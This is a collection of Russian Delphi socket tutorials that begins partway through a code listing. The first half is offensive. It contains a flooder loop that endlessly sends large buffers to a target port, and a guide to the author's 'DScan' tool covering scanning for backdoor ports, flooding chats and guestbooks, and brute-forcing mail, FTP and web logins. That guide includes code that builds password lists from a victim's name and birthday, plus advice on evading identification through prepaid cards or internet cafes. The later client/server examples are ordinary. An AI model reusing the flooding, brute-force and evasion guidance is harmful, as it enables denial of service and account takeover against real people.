  wsa:WSAData;
  addr : Tsockaddr;
  x : integer;
  // Сигнал блокировки сокета
  on_sock : LongInt = 1;
  off_sock : LongInt = 0;
  wfds_empty : Boolean;
  wfds : Tfdset;
  tv : Ttimeval;
  buf : array[1..8500] of char;
begin
  // Обнулим буфер отправки
  FillChar(Buf,8500,0);
  WSAStartup($101,wsa);
  // Начальная установка флагов
  for x:=1 to maxproccess do
    stat[x]:=CLOSE_SOCK;
  >repeat // бесконечный цикл
    // Инициализация сокетов
    for x:=1 to maxproccess do
    begin
      // Если сокет свободен
      if stat[x]=CLOSE_SOCK then
      begin
        sock[x]:=socket(AF_INET,SOCK_STREAM,0);
        time[x]:=TIME_OUT;
        // ВНИМАНИЕ!!! Перевод сокета в неблокирующий режим
        ioctlsocket(sock[x],FIONBIO,on_sock);
        addr.sin_family:=AF_INET;
        // Порт
        addr.sin_port:=htons(455);
        // Здесь необходимо указать адрес и используется функция
        // преобразования адреса из первой статьи
        addr.sin_addr.s_addr:=d_addr('ADDRESS');
        // Неблокирующее соединение
        connect(sock[x],addr,sizeof(addr));
        stat[x]:=CONNECTING_SOCK;
      end;
    end;
    // Использование макросов FD_ для установок и проверки
    // нужно ли делать select
    FD_ZERO(wfds);
    wfds_empty:=true;
    for x:=1 to maxproccess do
    begin
      if stat[x]=CONNECTING_SOCK then
      begin
        FD_SET(sock[x],wfds);
        wfds_empty:=false;
      end;
    end;
    // select-ируем сокеты с флагом "сокет соединяется",
    // с установкой таймаута и проверкой на
    // возможность отсылки данных
    if not wfds_empty then
    begin
      tv.tv_sec:=1;
      tv.tv_usec:=0;
      select(0,nil,@wfds,nil,@tv);
    end;
    // Проверка тайм-аута
    for x:=1 to maxproccess do
    begin
      if stat[x]<>CLOSE_SOCK then
      begin
        dec(time[x]);
        // Если время на соединение истекло -
        // закрываем сокет с установкой флага
        if time[x]=0 then
        begin
          stat[x]:=CLOSE_SOCK;
          // ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
          // перед закрытием
          ioctlsocket(sock[x],FIONBIO,off_sock);
          closesocket(sock[x]);
        end;
      end;
      // Проверка на соединение (соединились ли уже)
      if stat[x]=CONNECTING_SOCK then
      begin
        // Если соединение уже произошло и можно отправлять данные -
        // установим флаг
        if FD_ISSET(sock[x],wfds) then
          stat[x]:=CONNECTED_SOCK;
      end;
      // Проверка на возможность отправки
      if stat[x]=CONNECTED_SOCK then
      begin
        FD_CLR(sock[x],wfds); // обнулим буфер сокета
        send(sock[x],buf[1],8500,0);
        // Отправка данных и закрытие сокета
        stat[x]:=CLOSE_SOCK;
        // ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
        // перед закрытием
        ioctlsocket(sock[x],FIONBIO,off_sock);
        closesocket(sock[x]);
      end;
    end;
  until
    false;
end.

Это самый простейший пример - только отправка. Для использования приема, необходимо подключить большее количество флагов и второй параметр select. В этом коде также нет проверки ошибок, но дописать код - это уже детали. Не хотелось излишне загромождать исходники.

Клиент на синхронном сокетном движке

Более подробную информацию о неблокирующих сокетах и разных примерах их использования, можно получить посмотрев исходники моей программы "DScan" v.1.3. Для создания сокетного движка использовались неблокирующие сокеты, работающие на отдельных потоках для каждого сервиса программы. По программе "DScan" версий 1.2 и 1.3, можно оценить скорость и устойчивость двух разных подходов к программированию сокетных движков. Теоретически, преимущества и недостатки я рассматривал в предыдущих статьях.

В следующей статье я рассмотрю работу с неблокирующими сокетами. Как пример, будет рассмотрена уязвимость w2k, приводящая к "синему экрану".

P.S. Статья и программы предоставлены в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

Сокеты 4 (Использование DScan).

В этой статье я расскажу примеры использования моей программы "DScan". Вместе с исходниками и предыдущими статьями так будет легче понять принцип работы сокетного движка. Первые статьи и исходники можно взять на http://www.danil.dp.ua

Сканер по диапазону

Сканер по диапазону портов или адресов предназначен для определения открытых портов на удаленном компьютере или открытого определенного порта по диапазону адресов. Таким образом можно просканировать весь диапазон адресов провайдера на 139 открытый порт. Или 10001 (DTr). Или по порту BO, LamerDeath и т.п. Для этого необходимо указать диапазон адресов в спецификации ip4 (xxx.xxx.xxx.xxx) и порт. Сканирование осуществляется в многопоточном режиме по изменению последнего значения. Количество потоков можно задать и оно зависит от скорости соединения. В версии 1.3 сканирование реализовано через неблокирующие сокеты (см. предыдущие статьи). Сканирование по диапазону портов в основном предназначено для определения установленных сервисов на удаленном компьютере. Таким образом можно выяснить и операционную систему компьютера, подключен ли он еще и в локальную сеть, установлен ли Apach, E-mail-SERVER, FireWall и т.д.

Сканер по выбранным портам

То же самое, что и сканер по диапазону портов, но можно задавать значения только тех портов, по которым необходимо просканировать удаленный компьютер. В версии 1.3 добавлена многопоточность сканирования и алгоритм написан на неблокирующем сокетном движке.

Универсальный TCP-клиент

После определения открытых портов на удаленном компьютере, можно с помощью универсального TCP-клиента выяснить тип установленного сервиса, протокол обмена данными, его ответ на попытку соединения, сколько байт отправляет при соединении, сколько получает и т.д. Может работать как TelNet-клиент, e-mail-клиент, броузер, клиент различных BackDoor, Whois-клиент и т.п. В общем - универсальный клиент. Также есть опции отправки/приема данных в виде Out-of-Band. Можно указать разное окончание отправляемого пакета и сгенерировать данные случайным образом. Область применения очень обширна.

Флудер

Два примера использования можно взять в третьей статье по этой теме. Также он может использоваться для флуда чата, гостевой и т.п. Принцип работы - посылка на указанный адрес и открытый порт указанного кол-ва сформированных пакетов. Пакеты можно формировать случайным образом, заполнять нулями, #1, #13, #10, буквой A, #10#13, /n, или пробелами. Справа и слева сформированных данных можно ввести обязательные для этого пакета данные (для чатов, гостевых и т.д.). Вот пример. Возьму мою гостевую книгу на http://www.danil.dp.ua. После некоторых исследований port-mapper-ом, можно получить, что url для добавления -

GET http://www.danil.dp.ua/cgi-bin/add.pl?name=1111&email=E-MAIL&hpu=http%3A%2F%2F&city=CITY&country=COUNTRY&comments=COMMENTS&action=add. 

GET http://www.danil.dp.ua/cgi-bin/add.pl?name=1111&email=E-MAIL&hpu=http%3A%2F%2F& city=CITY&country=COUNTRY&comments=

Брутфорс

Предназначен для определения пароля по словарю. Недостатки этого метода я рассмотрел в своей статье Взлом мыла. НО: во-первых не все используют сложные пароли, а во-вторых есть так называемая "Защита от брута", которая перекрывает сервис при определении попытки брутфорса. Иногда такая защита может перекрыть доступ и зарегистрированному пользователю. Как например, в mail.ru. При попытке брутфорса по POP3, даже зарегистрированный пользователь потом не может по POP3 получить свою почту. Приходится получать через бройзер, ну а здесь можно послать письмо с соответствующим скриптом. Или на чате, форуме и т.п. пароль достаточно простой - цифры. Тогда это несколько тысяч или сотен тысяч значений, которые при многопоточном брутфорсе подобрать вполне реально - от часа до суток. В общем, иногда очень полезная вещь. В инете есть очень много разных файлов с паролями, но лучше ими не пользоваться, а формировать самому. Практически у всех есть ICQ. По поиску можно получить имя, дату рождения и т.д. Пусть у нас есть только имя (например Danil :-)). Мы не знаем больше ничего. Но попытаемся попробовать сформировать некоторый файл с паролями. По моим наблюдениям, очень часто указывают пароль как имя+цифры. Например, цифры - день и месяц рождения. Вот небольшая программа на Delphi, которая формирует файл паролей:

procedure PassCreate;
const
  name = 'danil';
  file = 'pass.txt';
var
  PassList : TStringList;
  I, J : Integer;
begin
  PassList:=TStringList.Create;
  PassList.Clear;
  PassList.Add(name);
  // Цикл по месяцу и дате рождения
  for I:=1 to 12 do
    for J:=1 to 31 do
      PassList.Add(name+IntToStr(J)+IntToStr(I));
  PassList.SaveToFile(file);
  PassList.Free;
end;

Немного переделав, можно сделать добавление нулей при значении <10, формировать трех, черырех-значное число случайным образом, поставить цифры вначале и т.д. Можно просто сформировать файл паролей из цифр. Можно добавить стандарты типа qwerty, 1234, 4321, asdf и т.д. В общем, как повезет. С ftp и pop3 брутом надеюсь все понятно. Можно переделать исходники и под TelNet. Рассмотрим HTTP-брутфорс. Например есть такая конструкция проверки пароля:

Мы видим, что скрипт проверки парля находится на www.domain.com/cgi-bin/pass.cgi. Через port-mapper или просмотрев на хтмл, мы видим, что url выглядит так: http://www.domain.com/cgi-bin/pass.cgi?name=NAME&password=PASSWORD. Нам надо перебрать поле PASSWORD. Введем непрвальный пароль и посмотрим ответ сервера. Перейдем на закладку Universal Client, соединимся с www.domain.com и пошлем POST url. Посмотрим ответ сервера. Там будет что-то типа "Password incorrect". При правильном пароле такого наверное не должно быть. Он должен написать что-то типа "Password is incorrect". HTTP-брутфорс в "DScan" допускает использование прокси прямо в программе. Таким образом можно заполнить поля прокси-сервера и сервера для работы, в первом поле отправки поставить http://www.domain.com/cgi-bin/pass.cgi?name=NAME&password=, указать файл паролей, в соответствующем поле указать ответ сервера на неверный пароль и начать сканирование. HTTP-брутфорс можно также использовать для закрытых паролем ресурсов. С помощью port-mapper определить url и поставить в поле "Сообщение при неверном пароле" - 500. Это стандартный ответ web-сервера при недоступном ресурсе. Также его можно использовать как CGI-сканер. Только вместо файла паролей необходимо указать файл, содержащий url к скриптам с ошибками. В первом поле отправки, в случае необходимости нужно поставить "/" (если скрипты в файле не начинаются с "/"). Ответ сервера на несуществующий скрипт - "500" или "404 Not Found" (необходимо сначала посмотреть через универсальный клиент). Таким образом, перебирая запросы к серверу, можно получить список установленных скриптов с ошибками. Список уязвимых скриптов и описание использований уязвимостей, можно взять в интернете на сайтах, посвященных безопасности.

Анонимность

Прокси. Для HTTP-брутфорсера - встроенно в программу. Для остального - надо использовать SOCKS5-прокси. Всю информацию по использованию и настройке можно почитать здесь. Если скорость бесплатных прокси не устраивает, то можно обойтись и без них. Только администраторы могут определить обратный IP-адрес и наказать. Поэтому лучше использовать инет-карты на пару часов или работать с программой в компьютерном клубе, в котором не перекрыты сервером нужные порты.

Может быть в следующей статье я рассмотрю работу с датаграммами, функции sendto/recvto, подделку пакетов, работу с сокетом без connect и т.п.

P.S. Статья и программы предоставлены в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

Сокеты в Delphi.

Данная статья посвящена созданию приложений архитектуры клиент/сервер в Borland Delphi на основе сокетов ("sockets" - гнезда). В отличие от предыдущей статьи на тему сокетов, здесь мы разберем создание серверных приложений.

Следует сразу заметить, что для сосуществования отдельных приложений клиента и сервера не обязательно иметь несколько компьютеров. Достаточно иметь лишь один, на котором Вы одновременно запустите и сервер, и клиент. При этом нужно в качестве имени компьютера, к которому надо подключиться, использовать хост-имя localhost или IP-адрес - 127.0.0.1.

Итак, начнем с теории. Если Вы убежденный практик (и в глаза не можете видеть всяких алгоритмов), то Вам следует пропустить этот раздел.

Алгоритм работы сокетного сервера

Что же позволяет делать сокетный сервер?.. По какому принципу он работает?.. Сервер, основанный на сокетном протоколе, позволяет обслуживать сразу множество клиентов. Причем, ограничение на их количество Вы можете указать сами (или вообще убрать это ограничение, как это сделано по умолчанию). Для каждого подключенного клиента сервер открывает отдельный сокет, по которому Вы можете обмениваться данными с клиентом. Также отличным решением является создание для каждого подключения отдельного процесса (Thread).

Ниже следует примерная схема работы сокетного сервера в Дельфи-приложениях:

Разберем схему подробнее:

Примечание: Документации по сокетам в Дельфи на данный момент очень мало, так что, если Вы хотите максимально глубоко изучить эту тему, то советую просмотреть литературу и электронную документацию по Unix/Linux-системам - там очень хорошо описана теория работы с сокетами. Кроме того, для этих ОС есть множество примеров сокетных приложений (правда, в основном на C/C++ и Perl).

Краткое описание компонента TServerSocket

Здесь мы познакомимся с основными свойствами, методами и событиями компонента TServerSocket.

Свойства Методы События:

TServerSocket.Socket (TServerWinSocket)

Итак, как же сервер может отсылать данные клиенту? А принимать данные? В основном, если Вы работаете через события OnClientRead и OnClientWrite, то общаться с клиентом можно через параметр ClientSocket (TCustomWinSocket). Про работу с этим классом можно прочитать в статье про клиентские сокеты, т.к. отправка/посылка данных через этот класс аналогична - методы (Send/Receive)(Text,Buffer,Stream). Также и при работе с TServerSocket.Socket. Однако, т.к. здесь мы рассматриваем сервер, то следует выделить некоторые полезные свойства и методы:

ServerSocket1.Socket.Connections[0].SendText('Hello!');

Практика и примеры

А теперь рассмотрим вышеприведенное на конкретном примере. Скачать уже готовые исходники можно, щелкнув здесь.

Итак, рассмотрим очень неплохой пример работы с TServerSocket (этот пример - наиболее наглядное пособие для изучения этого компонента). В приведенных ниже исходниках демонстрируется протоколирование всех важных событий сервера, плюс возможность принимать и отсылать текстовые сообщения:

Пример 1. Протоколирование и изучение работы сервера, посылка/прием сообщений через сокеты.

TServerSocket и TClientSocket без scktsrvr.exe отказываются работать.

Установите этот компонент:

unit Sck;
interface
uses
  Classes, SysUtils, Windows, Messages,
  ScktComp, SConnect, ActiveX, MidConst;
type
  TNotifyClient = procedure (Sender: TObject; Thread: TServerClientThread) of
object;
{ TSocketDispatcher }
  TSocketDispatcher = class;
{ TSocketDispatcherThread }
  TSocketDispatcherThread = class(TServerClientThread, ISendDataBlock)
  private
    FRefCount: Integer;
    FInterpreter: TDataBlockInterpreter;
    FTransport: ITransport;
    FInterceptGUID: string;
    FLastActivity: TDateTime;
    FTimeout: TDateTime;
    FRegisteredOnly: Boolean;
  protected
    SocketDispatcher: TSocketDispatcher;
    function CreateServerTransport: ITransport; virtual;
    procedure AddClient;
    procedure RemoveClient;
    { IUnknown }
    function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;
    function _AddRef: Integer; stdcall;
    function _Release: Integer; stdcall;
    { ISendDataBlock }
    function Send(const Data: IDataBlock; WaitForResult: Boolean): IDataBlock;
stdcall;
  public
    constructor Create(AOwner: TSocketDispatcher; CreateSuspended: Boolean;
      ASocket: TServerClientWinSocket; const InterceptGUID: string;
      Timeout: Integer; RegisteredOnly: Boolean);
    procedure ClientExecute; override;
    property LastActivity: TDateTime read FLastActivity;
  end;
{ TSocketDispatcher }
  TSocketDispatcher = class(TServerSocket)
  private
    FInterceptGUID: string;
    FTimeout: Integer;
    FRegisteredOnly: Boolean;
    FOnRemoveClient: TNotifyClient;
    FOnAddClient: TNotifyClient;
    procedure GetThread(Sender: TObject; ClientSocket: TServerClientWinSocket;
      var SocketThread: TServerClientThread);
  published
    constructor Create(AOwner: TComponent); override;
    property InterceptGUID: string read FInterceptGUID write FInterceptGUID;
    property Timeout: Integer read FTimeout write FTimeout;
    property RegisteredOnly: Boolean read FRegisteredOnly write
FRegisteredOnly;
    property OnAddClient: TNotifyClient read FOnAddClient write FOnAddClient;
    property OnRemoveClient: TNotifyClient read FOnRemoveClient write
FOnRemoveClient;
  end;
procedure Register;
implementation
procedure Register;
begin
  RegisterComponents('Midas', [TSocketDispatcher]);
end;
{ TSocketDispatcherThread }
constructor TSocketDispatcherThread.Create(AOwner: TSocketDispatcher;
  CreateSuspended: Boolean; ASocket: TServerClientWinSocket;
  const InterceptGUID: string; Timeout: Integer; RegisteredOnly: Boolean);
begin
  SocketDispatcher := AOwner;
  FInterceptGUID := InterceptGUID;
  FTimeout := EncodeTime(Timeout div 60, Timeout mod 60, 0, 0);
  FLastActivity := Now;
  FRegisteredOnly := RegisteredOnly;
  inherited Create(CreateSuspended, ASocket);
end;
function TSocketDispatcherThread.CreateServerTransport: ITransport;
var
  SocketTransport: TSocketTransport;
begin
  SocketTransport := TSocketTransport.Create;
  SocketTransport.Socket := ClientSocket;
  SocketTransport.InterceptGUID := FInterceptGUID;
  Result := SocketTransport as ITransport;
end;
procedure TSocketDispatcherThread.AddClient;
begin
  with SocketDispatcher do
    if Assigned(OnAddClient) then OnAddClient(SocketDispatcher, Self);
end;
procedure TSocketDispatcherThread.RemoveClient;
begin
  with SocketDispatcher do
    if Assigned(OnRemoveClient) then OnRemoveClient(SocketDispatcher, Self);
end;
{ TSocketDispatcherThread.IUnknown }
function TSocketDispatcherThread.QueryInterface(const IID: TGUID;
  out Obj): HResult;
begin
  if GetInterface(IID, Obj) then Result := 0 else Result := E_NOINTERFACE;
end;
function TSocketDispatcherThread._AddRef: Integer;
begin
  Inc(FRefCount);
  Result := FRefCount;
end;
function TSocketDispatcherThread._Release: Integer;
begin
  Dec(FRefCount);
  Result := FRefCount;
end;
{ TSocketDispatcherThread.ISendDataBlock }
function TSocketDispatcherThread.Send(const Data: IDataBlock;
  WaitForResult: Boolean): IDataBlock;
begin
  FTransport.Send(Data);
  if WaitForResult then
    while True do
    begin
      Result := FTransport.Receive(True, 0);
      if Result = nil then break;
      if (Result.Signature and ResultSig) = ResultSig then
        break else
        FInterpreter.InterpretData(Result);
    end;
end;
procedure TSocketDispatcherThread.ClientExecute;
var
  Data: IDataBlock;
  msg: TMsg;
  Obj: ISendDataBlock;
  Event: THandle;
  WaitTime: DWord;
begin
  CoInitialize(nil);
  try
    Synchronize(AddClient);
    FTransport := CreateServerTransport;
    try
      Event := FTransport.GetWaitEvent;
      PeekMessage(msg, 0, WM_USER, WM_USER, PM_NOREMOVE);
      GetInterface(ISendDataBlock, Obj);
      if FRegisteredOnly then
        FInterpreter := TDataBlockInterpreter.Create(Obj, SSockets) else
        FInterpreter := TDataBlockInterpreter.Create(Obj, '');
      try
        Obj := nil;
        if FTimeout = 0 then
          WaitTime := INFINITE else
          WaitTime := 60000;
        while not Terminated and FTransport.Connected do
        try
          case MsgWaitForMultipleObjects(1, Event, False, WaitTime,
           QS_ALLEVENTS) of
            WAIT_OBJECT_0:
            begin
              WSAResetEvent(Event);
              Data := FTransport.Receive(False, 0);
              if Assigned(Data) then
              begin
                FLastActivity := Now;
                FInterpreter.InterpretData(Data);
                Data := nil;
                FLastActivity := Now;
              end;
            end;
            WAIT_OBJECT_0 + 1:
              while PeekMessage(msg, 0, 0, 0, PM_REMOVE) do
                DispatchMessage(msg);
            WAIT_TIMEOUT:
              if (FTimeout > 0) and ((Now - FLastActivity) > FTimeout) then
                FTransport.Connected := False;
          end;
        except
          FTransport.Connected := False;
        end;
      finally
        FInterpreter.Free;
        FInterpreter := nil;
      end;
    finally
      FTransport := nil;
    end;
  finally
    CoUninitialize;
    Synchronize(RemoveClient);
  end;
end;
{ TSocketDispatcher }
constructor TSocketDispatcher.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  ServerType := stThreadBlocking;
  OnGetThread := GetThread;
end;
procedure TSocketDispatcher.GetThread(Sender: TObject;
  ClientSocket: TServerClientWinSocket;
  var SocketThread: TServerClientThread);
begin
  SocketThread := TSocketDispatcherThread.Create(Self, False, ClientSocket,
    InterceptGUID, Timeout, RegisteredOnly);
end;
end.

Простой способ отправки файлов при помощи TClientSocket и TServerSocket.

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, ExtCtrls, StdCtrls;
type
  TForm1 = class(TForm)
    Image1: TImage;
    Image2: TImage;
    ClientSocket1: TClientSocket;
    ServerSocket1: TServerSocket;
    Button1: TButton;
    procedure Image1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure ClientSocket1Connect(Sender: TObject;
    Socket: TCustomWinSocket);
    procedure ServerSocket1ClientRead(Sender: TObject;
    Socket: TCustomWinSocket);
    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
  private
    { Private declarations }
    Reciving: boolean;
    DataSize: integer;
    Data: TMemoryStream;
  public
    { Public declarations }
end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Image1Click(Sender: TObject);
begin
  // Это процедура для открытия сокета на ПРИЁМ (RECEIVING).
  // Button1.Click is this procedure as well.
  ClientSocket1.Active:= true;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  // Открытие ОТПРАВЛЯЮЩЕГО (SENDING) сокета.
  ServerSocket1.Active:= true;
end;
procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
  // Посылаем команду для начала передачи файла.
  Socket.SendText('send');
end;
procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
var
  s, sl: string;
begin
  s:= Socket.ReceiveText;
  // Если мы не в режиме приёма:
  if not Reciving then
  begin
    // Теперь нам необходимо получить длину потока данных.
    SetLength(sl, StrLen(PChar(s))+1); // +1 for the null terminator
    StrLCopy(@sl[1], PChar(s), Length(sl)-1);
    DataSize:= StrToInt(sl);
    Data:= TMemoryStream.Create;
    // Удаляем информацию о размере из данных.
    Delete(s, 1, Length(sl));
    Reciving:= true;
  end;
  // Сохраняем данные в файл, до тех пор, пока не получим все данные.
  try
    Data.write(s[1], length(s));
    if Data.Size = DataSize then
    begin
      Data.Position:= 0;
      Image2.Picture.Bitmap.LoadFromStream(Data);
      Data.Free;
      Reciving:= false;
      Socket.Close;
    end;
  except
    Data.Free;
  end;
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
  ms: TMemoryStream;
begin
  // Клиент получает команду на передачу файла.
  if Socket.ReceiveText = 'send' then
  begin
    ms:= TMemoryStream.Create;
    try
      // Получаем данные на передачу.
      Image1.Picture.Bitmap.SaveToStream(ms);
      ms.Position:= 0;
      // Добавляем длину данных, чтобы клиент знал,
      // сколько данных будет передано
      // Добавляем #0 , чтобы можно было определить,
      // где заканчивается информация о размере.
      Socket.SendText(IntToStr(ms.Size) + #0);
      // Посылаем его.
      Socket.SendStream(ms);
    except
      // Итак, осталось освободить поток, если что-то не так.
      ms.Free;
    end;
  end;
end;
end.

Посылка и прием сообщений через сокеты.

    {... Здесь идет заголовок файла и определение
    формы TForm1 и ее экземпляра Form1}
    procedure TForm1.Button1Click(Sender: TObject);
    begin
      {Определяем порт и запускаем сервер}
      ServerSocket1.Port := 1025;
      {Метод Insert вставляет строку в массив в указанную позицию}
      Memo2.Lines.Insert(0,'Server starting');
      ServerSocket1.Open;
    end;
   
    procedure TForm1.Button2Click(Sender: TObject);
    begin
      {Останавливаем сервер}
      ServerSocket1.Active := False;
      Memo2.Lines.Insert(0,'Server stopped');
    end;
   
    procedure TForm1.ServerSocket1Listen(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      {Здесь сервер "прослушивает" сокет на наличие клиентов}
      Memo2.Lines.Insert(0,'Listening on port '+IntToStr(ServerSocket1.Port));
    end;
   
    procedure TForm1.ServerSocket1Accept(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      {Здесь сервер принимает клиента}
      Memo2.Lines.Insert(0,'Client connection accepted');
    end;
   
    procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      {Здесь клиент подсоединяется}
      Memo2.Lines.Insert(0,'Client connected');
    end;
   
    procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      {Здесь клиент отсоединяется}
      Memo2.Lines.Insert(0,'Client disconnected');
    end;
   
    procedure TForm1.ServerSocket1ClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    begin
      {Произошла ошибка - выводим ее код}
      Memo2.Lines.Insert(0,'Client error. Code = '+IntToStr(ErrorCode));
    end;
   
    procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      {От клиента получено сообщение - выводим его в Memo1}
      Memo2.Lines.Insert(0,'Message received from client');
      Memo1.Lines.Insert(0,'> '+Socket.ReceiveText);
    end;
   
    procedure TForm1.ServerSocket1ClientWrite(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      {Теперь можно слать данные в сокет}
      Memo2.Lines.Insert(0,'Now can write to socket');
    end;
   
    procedure TForm1.ServerSocket1GetSocket(Sender: TObject; Socket: Integer;
      var ClientSocket: TServerClientWinSocket);
    begin
      Memo2.Lines.Insert(0,'Get socket');
    end;
   
    procedure TForm1.ServerSocket1GetThread(Sender: TObject;
      ClientSocket: TServerClientWinSocket;
      var SocketThread: TServerClientThread);
    begin
      Memo2.Lines.Insert(0,'Get Thread');
    end;
   
    procedure TForm1.ServerSocket1ThreadEnd(Sender: TObject;
      Thread: TServerClientThread);
    begin
      Memo2.Lines.Insert(0,'Thread end');
    end;
   
    procedure TForm1.ServerSocket1ThreadStart(Sender: TObject;
      Thread: TServerClientThread);
    begin
      Memo2.Lines.Insert(0,'Thread start');
    end;
   
    procedure TForm1.Button3Click(Sender: TObject);
     var i: Integer;
    begin
      {Посылаем ВСЕМ клиентам сообщение из Edit1}
      for i := 0 to ServerSocket1.Socket.ActiveConnections-1 do begin
       ServerSocket1.Socket.Connections[i].SendText(Edit1.Text);
      end;
      Memo1.Lines.Insert(0,'< '+Edit1.Text);
    end;

Почему несколько блоков при передаче по сокету могут объединяться в один.

Итак, во-первых, надо заметить, что посылаемые через сокет данные могут не только объединяться в один блок, но и разъединяться по нескольким блокам. Дело в том, что сокет - обычный поток, но в отличие, скажем, от файлового (TFileStream), он передает данные медленнее (сами понимаете - сеть, ограниченный трафик, и т.д.). Именно поэтому две команды:

ServerSocket1.Socket.Connections[0].SendText('Hello, ');
ServerSocket1.Socket.Connections[0].SendText('world!');

Совершенно идентичны одной команде:

ServerSocket1.Socket.Connections[0].SendText('Hello, world!');

И именно поэтому, если Вы отправите через сокет файл, скажем, в 100 Кб, то тому, кому Вы посылали этот блок, придет несколько блоков с размерами, которые зависят от трафика и загруженности линии. Причем, размеры не обязательно будут одинаковыми. Отсюда следует, что для того, чтобы принять файл или любые другие данные большого размера, Вам следует принимать блоки данных, а затем объединять их в одно целое (и сохранять, например, в файл). Отличным решением данной задачи является тот же файловый поток - TFileStream (либо поток в памяти - TMemoryStream). Принимать частички данных из сокета можно через событие OnRead (OnClientRead), используя универсальный метод ReceiveBuf. Определить размер полученного блока можно методом ReceiveLength. Также можно воспользоваться сокетным потоком (см. статью про TClientSocket). А вот и небольшой примерчик (приблизительный):

  {Прием файла через сокет}
  procedure TForm1.ClientSocket1Read(Sender: TObject;
    Socket: TCustomWinSocket);
   var l: Integer;
       buf: PChar;
       src: TFileStream;
  begin
    {Записываем в l размер полученного блока}
    l := Socket.ReceiveLength;
    {Заказываем память для буфера}
    GetMem(buf,l+1);
    {Записываем в буфер полученный блок}
    Socket.ReceiveBuf(buf,l);
    {Открываем временный файл для записи}
    src := TFileStream.Create('myfile.tmp',fmOpenReadWrite);
    {Ставим позицию в конец файла}
    src.Seek(0,soFromEnd);
    {Записываем буфер в файл}
    src.WriteBuffer(buf,l);
    {Закрываем файл}
    src.Free;
    {Освобождаем память}
    FreeMem(buf);
  end;

Как запросить страницу с сайта.

Автор: Fantasist WEB-сайт: http://forum.vingrad.ru

unit Unit1;
interface
uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ScktComp;
const
  Request: AnsiString = 'GET / HTTP/1.1' + #0$D#0$A+
 'Accept: application/vnd.ms-excel, application/msword, */*' + #0$D#0$A+
   'Accept-Language: en-us' + #0$D#0$A+
   'Accept-Encoding: gzip, deflate' + #0$D#0$A+
   'User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)' + #0$D#0$A+
   'Host: vingrad.com' + #0$D#0$A+
   'Connection: Keep-Alive' + #0$D#0$A+#0$D#0$A;
type
TForm1 = class(TForm)
    Skt: TClientSocket;
    Button1: TButton;
    Memo1: TMemo;
    procedure Button1Click(Sender: TObject);
    procedure SktRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure SktConnect(Sender: TObject; Socket: TCustomWinSocket);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
  Skt.Host := 'vingrad.ru';
  Skt.Port := 80;
  Skt.Open;
end;
procedure TForm1.SktRead(Sender: TObject; Socket: TCustomWinSocket);
begin
  Memo1.Lines.Text := Memo1.Lines.Text + Socket.ReceiveText;
end;
procedure TForm1.SktConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
  Socket.SendText(Request);
end;
end.

Request - это запрос который посылает мой IE5. В принципе, по протоколу HTTP он может ограничиваться: 'GET / HTTP/1.1'+#13+#13. Если хотите запросить оределенный документ: 'GET / HTTP/1.1'+#13+#13. Конечно, всегда можно воспользоваться готовыми компонентами.

Как запросить страницу с сайта 2.

Автор: http://www.sources.ru

{
Присоедините следующий обработчик к Вашему TClientSocket.
Он получает файл с сервера и помещает его в строковую переменную
FText string variable. Однако он не убирает заголовок,
который так же посылается вебсервером.
Не забудьте задать правильный адрес сервера в объекте Socket.
Установите порт 80. А затем откройте его при помощи команды "Socket.Open;".
Автор: E.J.Molendijk
 }
const
  WebPage = '/index.html';
var
  FText: string;
procedure TForm1.SocketWrite(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  Socket.SendText('GET ' + Webpage + ' HTTP/1.0'#10#10);
end;
procedure TForm1.SocketRead(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  FText := FText + Socket.ReceiveText
end;
procedure TForm1.SocketConnecting(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  FText := '';
end;
procedure TForm1.SocketDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  { --- }
  { ЗДЕСЬ ВЫ МОЖЕТЕ ОБРАБАТЫВАТЬ ВАШ FText !!! }
  { --- }
end;
procedure TForm1.SocketError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
  ErrorCode := 0; { Ошибки игнорируем }
end;

Посылка файлов через сокет.

Здесь мы рассмотрим посылку файлов через сокет. Итак, как же послать файл по сокету? Очень просто! Достаточно лишь открыть этот файл как файловый поток (TFileStream) и отправить его через сокет (SendStream)! Рассмотрим это на примере:

{Посылка файла через сокет}
procedure SendFileBySocket(filename: string);
var 
  srcfile: TFileStream;
begin
  {Открываем файл filename}
  srcfile := TFileStream.Create(filename,fmOpenRead);
  {Посылаем его первому подключенному клиенту}
  ServerSocket1.Socket.Connections[0].SendStream(srcfile);
  {Закрываем файл}
  srcfile.Free;
end;

